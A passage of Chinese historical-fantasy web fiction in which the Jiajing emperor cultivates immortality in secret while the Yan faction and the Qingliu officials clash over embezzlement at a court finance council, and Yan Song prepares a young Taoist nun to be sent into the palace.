知道自己冤枉了主子陛下后,当场开始磕头,嘴里还不停的念叨着“主子饶命”的话。 “行了,收拾一下吧。”闻着大殿上的腥臭味,嘉靖起身来到了偏殿。 陆炳跟见此赶紧跟上,而吕芳则是亲力亲为的去清洗大殿上的污秽。 他知道,今天这事,将会是他们君臣,主仆三人的秘密,任何有走漏风声的可能都不行。 很快,吕芳收拾干净手,踏着轻松的步伐,来到了偏殿,恭敬的垂手而立。 他的年龄也大了,五十多的人,平日里走几步路就要喘,此时只感觉全身使不完的劲。 感觉又回到了年轻的时候! “朕打算重开西厂,吕芳,你觉得谁来当这西厂的督主合适?” 嘉靖站在窗前,看着越来越大的雪花。 东厂跟朝中牵扯太深了,主子要的是一个敢打敢杀,不近人情的全新组织。 一旦西厂成立,东厂恐怕就会被取缔。 接手西厂的人有好处,同时也有坏处,好处自然是短时间内权势滔天,坏处就是会遭到清流和严党的同时针对,恐不得善终。 一番权衡利弊后,吕芳做出了决断。 “回主子,如今黄锦已经接手了东厂,西厂不如就让陈洪来接手吧。” “……” 第十一章 要么割肉,要么抄家砍头! “吕芳这老东西,越老越狠了。” 听到吕芳的话,陆炳眼底闪过一抹了然之色。 自己重病的这段时间,锦衣卫跟东厂走的很近,司礼监甚至对锦衣卫是半统领状态。 不过他虽然重病,不怎么管理锦衣卫,但锦衣卫核心始终被他掌握,尤其是情报方面。 对司礼监内部权力架构,也是一清二楚的。 司礼监四大监,掌印大监吕芳,秉笔大监黄锦,提督大监陈洪,以及随堂大监石三。 吕芳身为皇帝心腹,掌控整个司礼监,而黄锦身为吕芳的干儿子,则接管了东厂。 提督大监陈洪野心勃勃,时刻想上位顶替吕芳,随堂大监石三则保持中立。 吕芳这老东西显然是看出了重开西厂后,必然是要得罪死满朝文武。 这是推陈洪出去顶缸送死呢。 “那就听你的,”嘉靖自然不在意底下人私斗,摆摆手,“下去吧,朕累了。” “是。”吕芳跟陆炳恭敬一礼后,转身退出了大殿。 “先搞钱,后赈灾,强军之后思变革。”嘉靖心中给自己接下来要做的事情排着序。 朝中严党贪污,清流就不贪吗? 都贪,但普天之下莫非王土,清流也好,奸佞也罢,贪的钱,皇帝需要,就应该交上来。 否则,就是大逆不道,无君无父! 一个无君无父的人,还是人吗?当然不是了,不是人的时候,就应该处理掉。 “朕要这满朝文武都清楚,朕不亮刀则已,亮了刀,那你们就两个选择……” “要么主动伸头割肉,要么抄家砍头!”盯着满天的大雪,嘉靖眼神一片冷漠。 大明,是他的本命物,本命物事关本命的修复反哺又是他修为,资质提升,仙路坦途的关键,他绝对不允许任何人破坏,绝对! “任何人试图阻止朕修仙,都必须死。”说着,嘉靖大袖一甩,转身进了精舍。 而后,拿出灵源,这次他轻抿了一小口吞下,然后开始修炼起来。 “若是朕在大明修炼,没有灵源,根本无法吸收灵气,接下来去修仙界,看来要想办法弄更多的灵源了。”嘉靖心中暗暗想着。 独孤英只给了他一瓶,也就是一两多的灵源。 一般来说,自己一個凡人,每次使用的时候,只需要用舌尖轻点那么一下,然后就着口水吞服,倒不是说太多了会爆炸。 当然,太多了确实会爆炸。 主要还是因为凡人吸收不了太多,初期修炼的时候,基本上都是以浪费为主。 这是独孤英没有想到的,毕竟嘉靖用凡人寿命来衡量的话,看起来年龄已经很大了,所以即便能修炼,也不会用到太多资源。 甚至踏入第一步练气,都会吃力,慢很多,除非本命实在逆天! 因此,独孤英也就没有给太多的灵源。 可是没有人会想到,嘉靖的本命是一座王朝。 他能一次修炼,三天突破练气一层,这修炼速度,妥妥的一个天才级别。 …… 西苑宫门外。 吕芳跟陆炳并肩走出。 “指挥使大人,老奴就送你到这了。”吕芳披着红色的厚重绒毛大氅,冷淡道。 披着黑色狐裘大氅的陆炳看了眼不远处,马车边上那撑伞的俊朗青年,点头示意稍安勿躁后,道:“吕公公还在怨我呢?” “不敢。”吕芳自然是有些不满陆炳之前故意吞下丹药,坑了自己一把的行为。 虽说他因祸得福,主子也没怪罪,可陆炳这行为,让他有种被当面捅刀的感觉。 要不然,以他司礼监掌印大监的情商,不会当面给陆炳脸色的。 当然,他这么做还有其他深意。 如今陛下可能真的得到了仙缘,那朝中局势必然会发生前所未有的巨变。 他身为陛下身边的绝对心腹,以后说不定还要伴随陛下左右,无尽岁月。 所以他绝对不能跟任何外臣走的近了。 即便这个人跟他一样,也被赐下了仙丹,是陛下的另一个心腹,也是一样的。 不如就趁着这个机会,就此跟陆炳断了联系。 “吕公公,虽然陛下有意快刀斩乱麻,但我们做下人的还是要想办法为他分忧。” 陆炳是个孤臣,之前是料到自己时日无多,这才对于司礼监试图染指锦衣卫的事情,睁一只眼闭一只眼,以此保全家族。 为的是给后人一条路。 但现在不一样了,得陛下恩赐仙丹,他的生命又被续上了,自然是要重新恢复一下了。 至于吕芳的冷淡,他其实是开心的。 一个不拉帮结派的孤臣,才是陛下最喜欢的。 但接下来的差事,还是要说清楚的。 “指挥使请讲。”说到正事,吕芳微微欠身,一副谦卑,认真听的模样。 “快刀斩乱麻势必要砍到一些人身上,在下希望吕公公,到时候帮忙给一些人传个信。” “我会从底层查起,他们若是识相的话就主动交钱保命,大明培养官员不容易,尤其是陛下要治理朝纲,需要用人,能用就用。” “以免伤了陛下的心,伤了大明。” “你的意思是要对一些人网开一面?”吕芳眉头一皱。 “不是我网开一面,而是陛下是仁德圣君,我们不能让陛下落得一个薄情寡义的名声。” “因为错的,明明是那些中饱私囊的人,陛下是无辜的,不应该受到伤害!” 听陆炳这么说,吕芳深深的看了他一眼,然后微微欠身,拱手道:“我们做下人的,只需要完成主子的吩咐即可,不能替主子做主。” “指挥使大人,雪天路滑,路上小心,陛下身边还要伺候着,老奴就不送了。” “公公留步,快快回去伺候陛下。”陆炳见此,笑了笑,转身大步朝着马车而去。 多年来的默契,在这三言两语间,体现的淋漓尽致。 吕芳站在宫门口,一直目送陆炳的马车消失在风雪中,半晌后这才转身回宫。 陆炳的意思,他自然懂。 一些事,一些人,就算陛下不说,他们也都懂。 这次陛下铁了心要让那些人吐出全部的钱粮,那这事就非要办成不可。 吐了,某些人还能接着用,但要是不吐,那就是跟皇帝为敌了,下场就是死。 这些不需要明面上说,他们都懂分寸。 为什么要告诉他们,就是要他们给一些人透个信,能不能把握住性命,就看这次了。 “希望有些人不要寒了主子的心才好。”风雪中,吕芳的声音幽幽,寒冷刺骨。 “……” 第十二章 清流议论,严嵩举荐道门仙子 陛下召见了陆炳。 年前财政会议提前到了明日。 一连两个消息,很快就传进了裕王和景王一方人的耳朵里。 陛下召见了陆炳,并没有什么特别值得关注的。 但重点是,陛下召见了陆炳之后,年前的财政会议就提前了,这不由的各方不多想。 裕王府,大殿之中。 一座火炉烧的红火,案几上摆放着香炉,房间里一群人围着坐,伸着手烤火。 “宫里突然提前了财政会议,跟陆炳有什么关系?”高拱突然开口问道。 闻言,徐阶、张居正、赵贞吉、谭纶等人都是神色各异。 坐在上首位置的裕王朱载坖(ji)拿着茶盏的动作微微一滞,而后又继续。 “提前就提前吧,索性也没几天了。”赵贞吉看了眼众人,云了句废话。 一旁的张居正则是端坐着,没有说话,只是目光中,有思索之色浮现。 显然,他也在疑惑,御前财政会议为什么会提前,还有这事跟陆炳的关系。 众所周知,陛下玄修,很看重日子。 这个时候,竟然完全不顾日子,匆匆提前开启御前财政会议,这其实是个信号。 而他们现在在乎的就是这個信号的深意。 “陛下的决定,岂是我等可以揣测,”这时,徐阶缓缓开口,“做好分内事即可,对于我等来说,还有更为重要的事情。” 脾气有些火爆的高拱听到这话,也似乎是想到了什么,拍着桌子怒声道: “倒严,严党必须除掉,否则我大明将被折腾的没有一天安宁日子,迟早亡国!” 听到亡国,裕王眉头皱了皱,但也没说什么,高拱脾气向来火爆,倒也没二心。 不过他心里对这个观点也是很认同的。 严党是老四的支持者,要是严党倒下了,那老四就失去了支持者。 “严党贪婪无耻,中饱私囊,国家的钱,赚三百万,他们就敢往自己兜里揣两百万!” 大殿上,说到激动处,高拱直接站了起来,手背拍打的手心‘啪啪’作响。 “国库已经亏空的不成样子了!” “若是让他们再这么一味的蒙蔽陛下,不加以制止,这天下的老百姓,还活不活了?” 看着暴躁的高拱,稳如泰山的徐阶,只会云废话的赵贞吉,张居正略一沉吟,开口了。 “我们应该看到问题的关键,”说着,他抬手对裕王拱了拱,“严党受陛下重用,是因为他们能给宫里源源不断的送银子。” 这话,就算是明说了,嘉靖在保着严党。 裕王虽然觉得被人当面议论自己老子,有些不舒服,但他也知道,这是事实。 只能默不作声,算是默认了张居正的话。 “我认为,要想跟严党抗衡,让陛下放弃严党,那还是要从银子上下手。” “若是我们也能有个可行的赚钱法子,那就能为陛下分忧,严党优势也就不再。严党势大,如此徐徐图之,必能铲除!” 听张居正说话,条例清新,一针见血,让裕王很是满意,于是微微颔首,以示赞许。 其实他们都清楚,现在朝廷财政亏空严重,赈灾、军需、宗室…已经入不敷出。 饶是严党也已经拿不出银子了,嗯,确切的说,不愿意割肉来喂朝廷。 这个时候,自己等人拿出法子来,那在陛下眼中,严党就变得不再不可或缺了。 “海上可能来钱?”这时,裕王开口。 闻言,在场几人的神色在一瞬间,都有了不可察的变化。 老神在在的徐阶这时开口道:“海上生意风险太大,完全是在赌了……” “稍有不慎,就可能血本无归。” “此外,一旦开了海上生意,与祖制有违。”徐阶目光深邃的盯着裕王沉声道:“严党势大,但做事有伤天和,其气数已尽。” “关键时候,殿下切不可心急,更不能有丝毫的纰漏,别忘了,还有景王殿下!” 听到景王,裕王心中一怔,心中陡然警觉。 其实祖制什么的,也就是名义上的事情而已,他们老朱家做事,向来不拘小节。 说句对祖宗不敬的,祖制从成祖他老人家开始,就已经是个非常“灵活”的存在了。 说的再久远一些,建文开始就有苗头了,要不然削藩哪来的? 而对于他,或者是父皇来说,若是有利,海禁什么的,也不是不能开。 但此刻,听完徐阶这番话,他考虑的则是另外一个重点,那就是一旦自己开了海上生意,老四就会以此作为攻击点! 一旦海上出个意外,那就什么都完了! 徐阶说的对,宁可什么都不做,看着严党自己走向灭亡,也绝对不能冒险犯错。 父皇向来喜欢老四,对自己多有不喜,若是自己这个时候犯错,那就是致命的。 他苦心孤诣多年,绝对不能在关键时候出差错。 “听说严党请来了正一道的真人。”这时,张居正突然开口,换了个话题。 “不错,收到消息,这位正一道的真人,似乎是个妙龄少女。”赵贞吉开始云了。 高拱冷哼一声,道:“无耻严党,不当人子,为了利益是什么腌臜事都能做出来!” 话题成功的从海上转移。 “妙龄少女?”裕王抬了抬眼,好奇道:“女道士?” “咳!”这时,偏殿处突然传来一声清脆的咳嗽声,裕王面色有些不自然。 “不错,”张居正微微颔首,“这女冠我遣人调查过,在道法造诣上,颇有建树。” “陶真人仙逝,蓝神仙又是散修,朝中没了道门之人,正一道派人进京也情有可原。” 众人开始谈论起这位道门女冠。 “哼,女冠?”脾气火爆的高拱愤怒道:“依我看,也不过是鱼玄机之流!” “呸,恶心!”说着,还重重呸了一声。 闻言,众人都不由失笑摇头,一时间气氛倒也轻松了不少。 而与清流一党所料相同的是,严嵩确实是打算借此机会,给嘉靖举荐一位道门仙子。 严府,大堂之中。 “敢问仙子,天上可有仙人?” 一副老眼昏花,看起来就像个慈祥老人的严嵩,笑着看向一旁端坐的蓝衣道袍少女。 一旁作陪的,则是小阁老严世蕃。 “严阁老,万万不可再言仙子二字,贫道受之有愧。”少女作了个揖礼,抬起一张姣好,不施粉黛的鹅蛋脸,道: “天上有无仙人,贫道不敢妄言。” “但,可以肯定的是,此间并无仙人……” “清风道长。”这时,小阁老严世蕃出言打断,笑道:“天上有仙,人间有真龙。” “嗯?”听到这话,少女一愣,眨了眨眼,看着严世蕃,当场起身做了个揖礼,认真求教,“莫非小阁老也是修行中人?” “清风愿闻其详。” 清风,是少女的道号。 看着这个单纯的少女,严嵩老脸上笑吟吟一片,深邃的眸子里闪烁着莫名之色。 心中已然是闪过了千般计较。 “……” 第十三章 女冠清风,御前议政开始 壬寅宫变之后,皇帝就搬出了宫。 西苑更是没有一个伺候的宫女,可能参与的嫔妃也在当年尽数处置,没有参与的也是渐渐失了宠,没多久也相继离世。 宫中虽然还有宫女,但嫔妃已经没有了。 严嵩看着眼前这个单纯不谙世事,又懂道法,主要是模样还很标致耐看少女,心中决定将其献给陛下,他相信,陛下也是男人。 虽说当年之事让陛下心里留下了很深的阴影,但这么多年过去了,也该淡忘了。 这个时候,送一個跟陛下志趣相投的女冠入西苑常伴左右,排解寂寞,岂能不欢喜? “我一介凡夫俗子,不敢妄言修行,”严世蕃笑着连连摇头,“不过清风仙子,可千万记得,此次入宫常伴陛下左右,切记言行!” “陛下玄修,得天人感应,天上岂能无仙?此间有陛下,岂不是人间真龙?” 听到严世蕃这话,清风沉默了。 师兄们常说她单纯,不谙世事,但大多数情况下,她都很聪明,她只是不喜欢撒谎。 小阁老严世蕃这番话她岂能不明白。 不就是让自己到时候捡好听的说,若是陛下问起天上有没有仙这些话,她要说有。 就算她明知道天上没有仙,人间无真龙,她也要说有。 她更想不通的是,师父为什么让自己下山,代表正一道入宫陪伴陛下修仙。 她感觉山下的世界好复杂。 “清风道长,”严嵩抬手虚按了一下,示意严世蕃不要说了,转而看向清风,“可听闻,普天之下莫非王土?” “嗯。”清风不明白怎么突然又说到‘王土’了,不过师父交代了,下山后听从严阁老安排,自然是严阁老问什么,就答什么。 “如今,朝中有散修蛊惑陛下,曲解天道,长此以往,朝野不安,若是有朝一日陛下反应过来,必然会牵连整个道门正统……” “届时,这片土地上,将不会有道门的容身之处,甚至是引发一些令人痛心的惨案。” 严嵩说着,语气开始变得讳莫如深。 “昔年,三武一宗灭佛,这些可都是青史明确记载的,老夫崇道,万万不忍心道门遭此无妄之灾,想必这也非道长所愿。” 听到这里,清风的身子微微一颤。 虽是低眉垂目,但眸子深处,却是慌乱之色浮动。 “爹,高,实在是高!”严世蕃端着茶盏的同时,给老爹严嵩不露声色的投去一个眼神。 “你此次入宫,肩负着为道门正名,同时守护道门平安的责任,切记要谨言慎行!” 听着严嵩的谆谆教诲,清风深吸一口气,抬眼看向面前的慈祥老爷爷,重重点头“嗯”了一声。 “好了好了,不说了。”这时,严嵩像是个慈祥老爷爷一样,招呼着严世蕃,“中午了,世藩啊,让人备饭,准备点清淡的素斋来。” “是,爹。”严世蕃起身离开。 “清风啊,进了宫以后,若是有什么想要的,就尽管跟我说,或者找世藩也行。” “多谢严阁老,清风记得了。”清风心中感动不已。 听师兄们说,严阁老是最大的坏蛋,但这些天下来,她倒是觉得这就是个普通老爷爷。 跟师父一样,而且还没有师父严厉。 吃过饭后,清风回了自己的住处,严嵩跟严世蕃则是在书房开始了新一轮的谈论。 “爹,陛下突然召见陆炳一事,你怎么看?”严世蕃率先开口。 闻言,站在书架前的严嵩,则是丝毫不在意的继续翻看着一本本珍藏的古籍。 好一会后,他这才慢悠悠道:“那是陛下的自由,不是我们应该过问的。” “陆炳手里,可掌握了不少秘密,您就不怕……”严世蕃话还么没说完,严嵩就打断道:“做臣子的,谁都有秘密。” “但是这些秘密不该瞒着陛下。”说着,见严世蕃还要说什么,严嵩又道: “你莫不是以为,陛下器重我严家,是因为我们秘密藏的好,没人知道?” 听着这话,严世蕃张了张嘴,顿时无话可说。 确实,就他们家做的事,都不需要查,这天下人几乎都能数来几件,陛下能不知道? “可是爹,安排一个女人给陛下,我实在是没看明白有什么实际意义。”严世蕃又道。 严嵩眼皮抬了抬,看了眼严世蕃,而后拿着书,转身慢吞吞的坐在了榻上。 “不是什么事,都非要有意义的,”严嵩语气平静,“常言道冰冻三尺非一日之寒,积善之家必有余庆,小行大用待时机。” “耐心是一点点消磨没的,孝心也可以一点点积累起来,等到哪天说不定就有用了。” “陛下之所以重用我严嵩,是因为我懂他,我严家可以为他遮风挡雨。” “知道用心,知道只对他一个人用心。” “涓涓细流成江河,小小善举映人心,什么事都怕回头想,想到不好,也能想到好。” 说着,严嵩突然没了音,不一会,鼾声又响了起来,原来已然是坐着睡了过去。 看到这一幕,严世蕃稍一思索后,对着老父亲躬身行了一礼,转身离开了书房。 “过来,”严世蕃招来身边的小厮,“让我的四太太去清风道长的院子,多与她探讨《素女经》和《洞玄子》这两部道家经典。” “让她好好教教清风道长,进宫后该如何助陛下修行!” “是!”小厮躬身一礼,转身离开。 受嘉靖帝影响,严世蕃可不光是青词写得好,对道家也深有涉猎。 他的九房小妻,可以说各个绝色。 同时她们也是各个身怀绝技,琴棋书画,样样精通,这第四房小妻就是个修道之人。 最重要的是,其对《素女经》、《洞玄子》这些道门经典中的房中术很有建树。 严世蕃自然知道老爹送清风给皇帝的目的,所以他干脆把事情做的更直白点。 “爹还是太保守了,那丫头一看就单纯的像一张白纸,不点明白了她怎么会好好侍奉陛下?”说着,严世蕃也转身离开。 一次小小的召见。 一个提前开启御前议政的消息,却是让大明权贵圈,风起云涌,暗流涌动。 而对于这些,嘉靖自然不知道。 此时,他正在一遍遍的运行着‘引气诀’的行功路线,修炼,稳固着练气一层的修为。 终于,一天时间匆匆过去,日子很快便来到了嘉靖四十年,正月初七这一天。 大雪依旧,御前财政会议也提前开启。 “……” 第十四章 严党VS清流,御前的争锋相对! 西苑,玉熙宫外。 吕芳早早的就带着黄锦、陈洪和石三几位司礼监大监,等候在了门口。 没多久,远远的就见一群人走近,人群中还伴随着一顶八抬大轿。 “来了。”吕芳轻喃一声,带着黄锦几人立刻迎了上去。 “阁老,您到了啊。”吕芳看着身披大红氅的严嵩,笑着上前拱手。 “大喜,大喜呀!”严嵩看着漫天的大雪,笑着连连道喜,似乎是为这一场瑞雪贺喜。 听着这话,吕芳也是满脸笑容。 “阁老啊,这场雪下了,您老去年八十,今年就七十九了。” 听到吕芳的话,严嵩当即哈哈大笑着打趣道:“吕公公这是嫌我老喽,”说着,也不在一个玩笑上继续,而是看着大雪,道: “雪是好雪,要是下的都是银子,我也不用再操什么心了,可以告老还乡了,哈哈…” 这话一出,吕芳脸上笑容愈发强盛,“万寿帝君,圣寿无疆,阁老您造化也不低啊……” 要是以往,吕芳听到这话定然是要说句陛下万岁,阁老您百岁,还能再干几十年之类。 但是现在,一切都不一样了。 而他,又是唯二的,知道陛下或许已经得到真正的仙缘的人,自不会再说什么万岁,也不会拿一个凡夫俗子的寿命来与主子并论。 现在,只能是万寿帝君圣寿无疆,而你严嵩,只能是祈求造化。 一番客套之言,严嵩并未察觉什么,只是笑呵呵的跟着吕芳朝着玉熙宫走去。 这时,严世蕃斜睨了一眼身后,徐阶、高拱等从始至终不曾有笑脸的人,冷笑道: “要是再来些造化,那还不得让人给恨死!” 这话,走在前头的吕芳浑不在意,严嵩也是笑呵呵的,全当没听到。 只有脾气火爆的高拱眼冒怒火。 刚才严世蕃那个眼神,很明显就是在说他们。 这时,赵贞吉轻轻扯了扯他的衣袖,示意莫要冲动,高拱这才憋着火气怒视着严世蕃跟了上去,他现在,火气很大! 等会一定要拿严世蕃泄火! “诸位大人。”行至玉熙宫阙下,众人解下身上积了雪的大氅,递给太监后,吕芳转过身,待众人都看向他的时候,这才道: “腊月的时候,那個周云逸的事,大家都知道,从下罪己诏到现在,陛下一直在静修。” “虽然这祥瑞已经下了,但陛下的心情也不准能好,亏空的事,能过去我们就过去。” “今年可以再想别的办法。”说着,吕芳看向众人,拱手道:“我还是那句话,天大的事,咱都要同舟共济,为陛下分忧!” “吕公公说的是。”众人闻言,纷纷附和道。 很快,众人来到玉熙宫的大殿里。 大殿正上方,是皇帝的御座,下方则早有了一张专赐给严嵩的座位。 其他人,则是按照内阁和司礼监,分两侧对立站定,在众人面前,则是长长的案桌。 上面已经摆好了案牍文书,黑红笔墨。 此时,偏殿道台上的精舍中,嘉靖也停下了修炼,轻呼出一口气后睁开了双眼。 心中一动,拿起身旁的罄锤随手一摆,只听“咚”的一声,铜罄发出响声。 听到铜罄响起,吕芳上前一步,“议事吧。” 而后,严嵩先是高颂了一番嘉靖的功劳,又总结了一下去年的两省大旱,三省的大水,北面和东南的战事,宫里的大火。 之后以周云逸开场,团结众人,期许大明如日中天,随后才开始将话题引到会议上。 一般流程,都是按照往常既定的那样,先是由内阁拟票,然后交于司礼监批红,了结去年的账后,内阁再开始商议今年的账。 在给会议定下了一个熟悉的章程后,严嵩搓了搓手,放火炉旁烤了烤,看向徐阶。 “徐阁老,内阁的票拟在你们那,你们说一下,然后呈交吕公公他们批红吧。” 既然开始议事了,那徐阶也不客气,率先开始向严党发难。 直接当面表明有些票拟定了,有些票没定,户部不认吏部和工部的账。 面对徐阶的发难,严世蕃也不客气,当场开始“咬人”,一时间,争吵声四起。 偏殿内,嘉靖则静静的听着,随着高拱的一声赌气似的撂挑子不干,嘉靖眉头一皱。 随手一摆罄锤,随着大罄的嗡鸣,大殿里,某些人的眼底,不由闪过变化。 吕芳听到主子不高兴了,心思急转间,又想到了陆炳昨日说的话,心中了然。 主子果然还是要用一些人的。 陆炳说的没错,就算这次清算朝野内外,整顿吏治,但内阁这些人,如果识时务,还是会睁一只眼闭一只眼的接着用的。 “严世蕃!”眼看着严世蕃还要继续跟高拱对喷,听出陛下不满的严嵩当即呵斥。 被老爹当面呵斥,驳了面子的严世蕃一急,当即开口道:“爹,我……” “这里没有什么爹,只有我大明的臣子。”严嵩见这个张狂的儿子没听出后殿那位的不高兴,顿时重声道: “御前议事,你要让人说话!”说完,又对高拱,温声宽慰道:“肃卿,你们有什么困难,都尽管说出来。” 吕芳在心思急转间,也不等高拱说话,跟着便站出来冷声道:“我也提个醒。” “议事就是议事,不要动不动就扯到什么罢官撤职,谁该干什么,谁不该干什么,那都是由陛下决定的,罢官也是一样!” 在吕芳看来,高拱这番话,不是在威胁严世蕃,也不是在斗气,而是在对陛下发火! 你高拱算什么东西,威胁谁呢? 不得不说,吕芳确实是个忠心的家奴,此时嘉靖对高拱的罢官之说,确实心生不满。 有吕芳的一番告诫,众人也都冷静了下来,剑拔弩张的大殿,也泄了不少火。 而后,去年的财政结算继续。 高拱开始对一年的财政支出进行了报数。 并且对工部和吏部的支出,让算在其他部上发表不满,外加兵部的三百万两亏空的声声质问之下,听的严世蕃额头青筋暴怒。 不过有了之前的警告,倒也极为克制。 而随着此时还很年轻,城府谋略还尚有余地的张居正,直接撕破脸,爆出兵部账上花了三百万造船,但一艘都没见到后,众人色变。 当然,此时听着的嘉靖,脸色也发生了变化,不过很快,他又摇了摇头。 这些钱哪去了,他心里最清楚不过了。 一部分让严党给贪了,一部分用在了自己身上。 现在说这些,已然无用了。 殿外,吕芳身为忠仆,自然知道维护主子颜面,开始明着拉偏架,配合严世蕃三言两语就把这三百万的账直接就给平了,当场批了红。 而第一回合的交锋,也以清流的战败收场。 一时间,几人都有些神色低靡。 至于严嵩,从始至终老神在在,对结果并不意外。 严世蕃则是冷笑连连,心中冷哼道: “这些清流,脑子都坏了,他们根本不知道,是在跟什么人作对!” 不过,高拱身为清流一派的火力输出,也不气馁,重新打起精神,开始第二轮进攻。 “严党,真是好用啊……” 心里门清的嘉靖,听着大殿里,帮自己平账的严世蕃和严嵩二人,轻声感慨不已。 虽然这其中,也有为他们自己平账的意思,但造成这局面的,终归是自己这个皇帝。 “……” 第十五章 借题发挥 “吕公公!” “奸臣自己跳出来了!” 随着火气越吵越盛,严世蕃终于还是没能憋住,转身怒视,“高拱是一个!” 而后又看向一边,“张居正是一个!” 好一个狼人首爆! 偏殿,听到严世蕃的这一番话的嘉靖,嘴角微动,搭在膝盖上的手指不由跳了跳。 被严世蕃当着面骂做奸臣,张居正一怔,而本就脾气火爆的高拱,更是不能忍。 一步上前,盯着严世蕃,伸出两根手指,怒声道:“奸字怎么写?” “一個女字,加上一个干字!” “我高拱到现在还只有一个糟糠之妻,”高拱说话间,比着一个手指头,“据我所知,小阁老在年前,就已经娶了第九房姨太太!” “这个“奸”字,难道还能加在我高拱的都头上吗!”到了最后,已是大声喝问。 高拱也是被逼急了。 之前的吕芳拉偏架,以及来时路上受的气,严世蕃的胡搅蛮缠,可以说是让他憋了一肚子的火,憋的越久,爆发的也就越狠。 此时,已经完全不顾及彼此的体面了。 被高拱这么不要面皮的一声爆喝,严世蕃也被吓的微退了一步,高拱长的五大三粗,而他与之对比起来,瘦弱的像个小鸡仔。 刚才那一声爆喝,让他险些以为这老东西要吃了他。 不过他堂堂‘大明举重冠军’也不是吃素的,当即怒而甩袖,“不要再东拉西扯了!” 好好好,你高拱既然要撕破脸,不顾及彼此的体面,那我也无所顾忌了,直接开喷。 “你们别以为我不知道,在场的某些人,就是去年二十九,周云逸诽谤朝廷的后台!” “周云逸!”严世蕃盯着高拱,冷笑,“一个钦天监管天象的官员,为什么能在诽谤朝廷的时候,能把朝廷去年的用度……” “说的那么清楚!” “他是谁挑唆的?”说到这里,严世蕃环视徐阶等一众清流,“怎么?” “敢做不敢认吗!” 此话一出,满堂皆惊。 一时间,大殿之上,众人神色各异,气氛似乎在这一刻降到了冰点。 只有严世蕃气呼呼的喘息声! 此时,严嵩低下头,双手烤着火,深邃的眸子里,没有半点情绪波动。 而徐阶等人,此刻却是心里猛的一惊,就连高拱也是这一刻哑口无言。 一旁的赵贞吉更是疯狂的给高拱使眼色。 徐阶跟张居正对视了一眼,给高拱了一个眼神,示意他不要再说了。 要是再让这个狂悖的疯子口无遮拦下去,此间诸位,都免不了结党营私的罪名。 清流,严党,其实谁也经不起查! “清流?”听到这里,偏殿的嘉靖微微摇头,随手扔下罄锤,起身从精舍中走出。 听到这里,也差不多了,再让他们吵下去,那么就不可收拾了,不查也得查了。 他算是听清楚,看清楚了,严党贪,清流也贪。 不过是前者吃相难看,后者吃的文雅,总归是点点滴滴,汤水不剩的吞下。 到了现在该算的也都算了,去年的账也了了。 今年开始,大明是一个新的大明。 “练得身形似鹤形,千株松下两函经。” “我来问道无余说,云在青天水在瓶。” 随着大殿深处,嘉靖那幽幽的声音响起,前殿一众人,纷纷下跪,拜呼万岁。 “都起来吧,”来到御座前,嘉靖没有急着落座,而是看向跪着的严嵩,“严阁老。” “臣在。”被点名的严嵩微微抬起身,心里打起了十二万分的警惕。 满朝文武,他可以轻视任何人,唯独这位,他不敢有丝毫的怠慢。 眼下,他是皇帝唯一用的顺手的人,但这不代表自己不可取代,他严嵩也从来不会是大明唯一一个有能力的人,有能力的太多了。 “严世蕃说诽谤朝廷的那个周云逸有后台,而且那个后台就在内阁里,”嘉靖没有去看众人,背着一只手,漠然问道。 早就明牌的事,还要问吗? 严嵩自然明白皇帝的意思,当即老神在在的开口,“回皇上,这里没有什么后台。”说着,语气微微一顿,夸道:“朝廷无私账。” “所有的用度,走的都是明发上谕拨的银子。” 然后顺着夸奖的将一句句辩送出。 “老刀用着就是舒服。”听到这里,嘉靖心中暗暗点头,看了眼众人,道:“宫里修宫殿的费用,他怎么也知道?” “这说明,工部走的也都是明账。” 听到这里,嘉靖沉凝的表情这才舒缓,道袍大袖一摆,坐在了御座上。 “都起来吧。”摆了摆手,在众人的谢恩声中,嘉靖看向对严嵩行为不解的严世蕃提点道:“不要这样看着你爹,要好好学着。” 严世蕃虽然心中不满,为什么这么好的搞清流的机会,老爹就放过了,但面上还是微微欠身,一副听训的姿态。 “云在青天,水在瓶。” “你们这些人,有的是云,有的是水,所做的事情不同而已,都是忠臣。” 嗯,给我做事,给朝廷做事,做好了,就是忠臣! 他喜欢说一些话,让下面的人去猜。 这个习惯,有很多弊端,但他并不打算改掉。 帝王之道的基础,就是用人。 正如他在黑风寨地牢里,给英雄汉三兄弟和刘权四人讲的黄河长江之论一个道理。 一些模棱两可的话,让下面的人去猜,清流能做,严党也能做,做好了就行。 身为帝王,他要的是平衡,也是结果。 谁做错了,该惩戒的惩戒,谁做好了,该赏的则赏。 一赏一罚,把握一个恰当好处的度,就能让他们更好的为自己做事。 别的帝王不喜欢被人揣摩圣意。 但他不同,他反而喜欢他们去揣摩,去迎合自己所出题的意思。 但是这个题,可以是判断题、是非题、选择题,答案在自己手中,灵活应用。 就看他们给的结果,是不是自己想要的。 当然,有的时候,他也会直白的说,因为事有轻重缓急,比如‘修复大明’这事,他不会去让自己的绝对心腹陆炳他们去猜。 因为这事必须做好做对,容不得差池。 “周云逸的事,让朕很痛心,”说到这里,嘉靖也准备提正事了,周云逸就是一个很好的借口,“此事,罪不在任何人……” 冯保打死周云逸,这就是他的意思。 司礼监给自己办事这么多年,冯保就算再蠢,也不会会错了意,擅作主张。 不过,死就死了吧,蠢材一个而已,现在看来,他的死倒也不失为一桩好事。 可以借题发挥一下,引出自己的目的! “……” 第十六章 苦一苦朕,福让百姓来享! 听到皇帝说起周云逸,就这么轻飘飘的揭了过去,清流一党心中,不免惶恐。 虽然陛下没打算深究,可对周云逸被打死的态度,却由不得他们不多想了起来。 严世蕃也是低着头,心头冷笑连连。 周云逸这步棋,算是清流搬起石头打自己的脚了。 现在唯有一方是真的开心,那就是司礼监一众家奴了,一群人腰板也下意识的挺直。 主子到底还是向着他们的。 如果主子追究了冯保的责任,那他们定是会在心中不免升起兔死狐悲之感。 可是现在,他们心中只有一片温暖。 一时间,各个脑袋也下意识的抬高了几分,大有一种睥睨内阁的架势。 都看好了,我们才是主子的自家人,关键时候,主子还是向着我们这些家奴的! 只有吕芳知道,主子接下来要借题发挥了。 如果不是为了接下来的目的,主子大可能会为了安抚清流,追责冯保,拿他开刀的。 “这事说到底还是要怪吏治弊端,没有选出正确的人才上来,独留周云逸这等不会说话的人,重则言语祸国,轻则累死上官。” “就如这次的天降祥瑞。”嘉靖说着,语气微微一顿,又道: “百姓家老话还说了,天要下雨,娘要嫁人,有些事情非人类所能为之。” “这么点道理,老百姓都知道,但这周云逸却大言不惭的怪罪朝廷。天道无常,雨雪风霜,皆有定数,岂能说下就下?” “那么些圣贤书,到头来却读的越发不明事理了。” “但做臣子的有千般万般的不是,朕这个当皇帝的也都要给他兜着。” “臣子不孝,君父之过!” 